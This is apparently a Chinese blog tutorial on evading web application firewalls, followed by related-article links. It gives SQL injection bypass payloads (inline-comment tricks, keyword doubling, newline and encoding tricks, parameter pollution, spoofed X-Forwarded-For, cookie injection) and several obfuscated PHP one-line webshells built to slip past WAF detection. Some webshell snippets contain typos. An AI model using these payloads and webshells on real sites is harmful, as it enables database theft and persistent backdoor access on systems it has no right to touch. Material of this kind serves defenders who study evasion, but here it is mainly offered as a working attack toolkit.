WAF:有硬件和软件类型。
常见的软WAF,常见:安全狗、云锁、云盾、护卫神。
SQL注入的绕过:
 WAF核心机制就是正则匹配。
通过正则匹配,如果符合规则,就拦截。
比如sql注入中and 1=1被拦截。
可尝试大小写绕过:And 1=1
编码绕过:  因为WAF 获取数据后不会解码。如&=>%26
通过不同进制绕过:例如16进制的0x32相当于十进制的2。
铭记:安全和用户体验都是需要平衡的,特别是针对WAF而言。
 
WAF判断的几种方法:
1.SQLmap
使用SQLmap中自带的WAF识别模块可以识别出WAF的种类,但是如果所安装的WAF没有明显特征,SQLmap就只能识别出类型是Generic
在SQLmap中输入一下命令:
sqlmap.py -u "http://xxx.com"  --identify-waf  --batch
一般情况下就可以被扫描出waf的种类。
2.手工判断
这个也比较简单,直接在相应网站的url上后面加上最基础的测试语句,比如union select 1,2,3%23,并且放在一个不存在的参数名中,若触发了WAF的防护,所以网站存在WAF.
 
内联注释:是MYSQL为了保持与其他数据兼容,将MYSQL中特有的语句放在/!…*/中,这些语句在不兼容的数据库中不执行,而在MYSQL自身却能识别、执行。
/*!50001*/表示数据库版本>=5.00.01中间的语句才能执行。
/**/在数据库里是注释的意思。而/*!*/是内联注释(核心在于注释里的也可执行,目的在于适应不同版本)。可对数据库版本的注释进行暴力破解,绕过狗。比如/*!10044select*/可绕过。
 
常见绕过手法:
大小写绕过(很老的WAF才有用)
替换绕过(很老的WAF才有用)比如将union select 1,2,3,4,5替换成ununionion selselectect 1,2,3,4,5
特殊字符绕过(%0a换行)例如传参?id=1 union /*!10044select*/ 1,2,3 %23/*%0afrom admin%23*/  换行之后被执行。
编码绕过(比如会多次解码的东西,例如我们DOM XSS绕狗那个)
等价替换(利用其它函数替代)【union #%0aselect 拦截】[inion all #%select 不拦截]
容器特性(例如Apace的Hpp,或者IIS的%分割)IIS的分割传参里面s%e%l%e%c%t相当于select。Apache特性参数污染:?id=1/*&id=2 union select 1,password,3 from admin limit 1,1#*/(参数污染是指当同一参数出现多次,不同的中间件会解析为不同的结果)
白名单(管理员权限或者是127.0.0.1本地访问不拦截(抓包修改XFF成本地IP))
缓冲区(数据太多了,超出了WAF检测的范围)可在攻击语句中用注释填入大量无用字符,但要用POST传参。
有些函数加上反引号也是可以运行的。比如sleep(),updatexml()
生僻函数绕过(使用生僻函数替代常见的函数,例如在报错注入中使用polygon()函数代替常用的updatexml()函数
寻找网站源站IP(对于具有云waf防护的网站而言,只要找到网站的IP地址,然后通过IP访问网站,就可以绕过云waf的检测)
注入参数到cookies中(默写程序员在代码中使用$_REQUEST获取函数,它会依次从GET/POST/COOKIE中获取参数,如果WAF只检测了GET/POST而木有检测cookie,可以将注入语句放入cookie中绕过)
 
webshell的绕过:
我们常见的PHP一句话木马就是:<?php eval($_REQUEST['a'])?>这个是密码是a的一句话木马。这个语句肯定是会被拦截的。
绕过拦截:1.<?php eval(end($_PEQUEST));?>
end(): 输出数组中的当前元素和最后一个元素的值.($_所获取到的东西都是数组)
2.通过常量定义:<?php define("a","$_REQUEST[a]");eval(a);?>
3.通过字符串定义:
<?php
$a='ass';
$b='ert';
$funcName=$a.$b;
$x='funcName';
$$x($_REQUEST[1]);
?>
4.通过函数定义强行分割:
<?php
function a($a){
return $a;}
eval(a($_REQUEST)[1]);
?>
5.通过类定义,然后传参强行执行分割
<?php
class User
{
public $name='  ';
function_destruct(){
eval("$this->name");
}
}
$user=new User;
$user->name=".$_POST['dd'];
?>

绕过waf的更多相关文章

  1. 深入理解SQL注入绕过WAF和过滤机制

    知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...

  2. 深入了解SQL注入绕过waf和过滤机制

    知己知彼百战不殆 --孙子兵法 [目录] 0x00 前言 0x01 WAF的常见特征 0x02 绕过WAF的方法 0x03 SQLi Filter的实现及Evasion 0x04 延伸及测试向量示例 ...

  3. 深入理解SQL注入绕过WAF与过滤机制

    知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...

  4. 黑客是怎样绕过WAF之三重防护绕过讲解

    什么是WAF Web Application Firewall 通过执行一系列针对HTTP/HTTPS的安全策略来防御对Web应用的攻击. 目前主要有单设备WAF与云WAF WAF的现状 1.太多数W ...

  5. 在SQL注入中利用MySQL隐形的类型转换绕过WAF检测

    web应用一般采用基于表单的身份验证方式(页面雏形如下图所示),处理逻辑就是将表单中提交的用户名和密码传递到后台数据库去查询,并根据查询结果判断是否通过身份验证.对于LAMP架构的web应用而言,处理 ...

  6. 使用sqlmap中tamper脚本绕过waf

    使用sqlmap中tamper脚本绕过waf 刘海哥 · 2015/02/02 11:26 0x00 背景 sqlmap中的tamper脚本来对目标进行更高效的攻击. 由于乌云知识库少了sqlmap- ...

  7. 通过HTTP参数污染绕过WAF拦截 (转)

    上个星期我被邀请组队去参加一个由CSAW组织的CTF夺旗比赛.因为老婆孩子的缘故,我只能挑一个与Web漏洞利用相关的题目,名字叫做”HorceForce”.这道题价值300点.这道题大概的背景是,你拥 ...

  8. sqlmap注入之tamper绕过WAF脚本列表

    本文作者:i春秋作者——玫瑰 QQ2230353371转载请保留文章出处 使用方法--tamper xxx.py apostrophemask.py用UTF-8全角字符替换单引号字符 apostrop ...

  9. SQL注入9种绕过WAF方法

    SQL注入9种绕过WAF方法 0x01前言 WAF区别于常规 防火墙 是因为WAF能够过滤特定Web应用程序的内容,而常规防火墙则充当服务器之间的防御门.通过检查HTTP的流量,它可以防御Web应用安 ...

  10. 用最短的payload绕过WAF(入门)

    本文作者:jishuzhain <font color=green>想绕过一个WAF,我们可以用最短的payload来做,这里只是基础示例,望各位大佬勿喷,小弟在此谢过.</font ...

随机推荐

  1. jq鼠标移入移除事件

    mouseover与mouseenter 不论鼠标指针穿过被选元素或其子元素,都会触发 mouseover 事件.只有在鼠标指针穿过被选元素时,才会触发 mouseenter 事件. mouseout ...

  2. Uva 11300 Spreading the Wealth(贪心)

    题目链接:https://vjudge.net/problem/UVA-11300 这道题的思路太神了,但很难想到是贪心. 用M表示每个人最终拥有的金币数. 首先假设有四个人.假设1号给2号3枚,2号 ...

  3. 猜解数据库(MYSQL)信息

    /Less-1/?id=1' and if (length(database())=8,sleep(5),0) --+ 注:http://43.247.91.228:84/Less-1/为靶场地址,发 ...

  4. 传奇定时器OnTimer功能详解(泡点、时间触发、任务活动)

    传奇定时器OnTimer功能详解(泡点.时间触发.任务活动) 定时器功能,是传奇服务端中非常常见的一种功能,常见如:泡点脚本.赌博脚本,任务活动指定时间刷怪,时间触发一些都需要用到OnTimer功能, ...

  5. canvas的beginPath和closePath

    https://www.cnblogs.com/xuehaoyue/p/6549682.html https://segmentfault.com/a/1190000010330319 https:/ ...

  6. 「NOI2001」食物链

    传送门 Luogu 解题思路 带权并查集我不会啊 考虑种类并查集(扩展域并查集的一种). 开三倍空间,一倍维护本身,二倍维护猎物,三倍维护天敌,然后用并查集搞一搞就好了. 细节注意事项 咕咕咕 参考代 ...

  7. 容器远程访问vnc--CentOS 6.8安装和配置VNC

    对于用惯了WIN系统的朋友来说,没有图形化操作界面的Linux用起来实在太难受了.实际上,Linux也是有图形化操作界面的,这就是VNC.接下来本文将告诉大家如何在CentOS 6.8下安装和配置 V ...

  8. numpy常用函数之arange函数

    2.np.arange([start, ]stop, [step, ]dtype=None) 作用:   arange函数用于创建等差数组 start:可忽略不写,默认从0开始;起始值 stop:结束 ...

  9. 【代码学习】PYTHON 异常处理

    一.什么是异常 在程序执行过程中可能会影响程序的正常执行,一般情况下,在python无法正常处理程序时就会发生一个异常 当python脚本发生异常时我们需要捕获处理他,否则程序会终止执行 二.异常处理 ...

  10. Educational Codeforces Round 79 (Rated for Div. 2) - D. Santa's Bot(数论)

    题意:有$n$个孩子,第$i$个孩子有$k[i]$件想要的礼物,第$j$个礼物为$a[i][j]$,现在随机挑一个孩子,从他想要的礼物里面随机挑一个,然后送给另一个孩子$($这个孩子可以和第一个孩子是 ...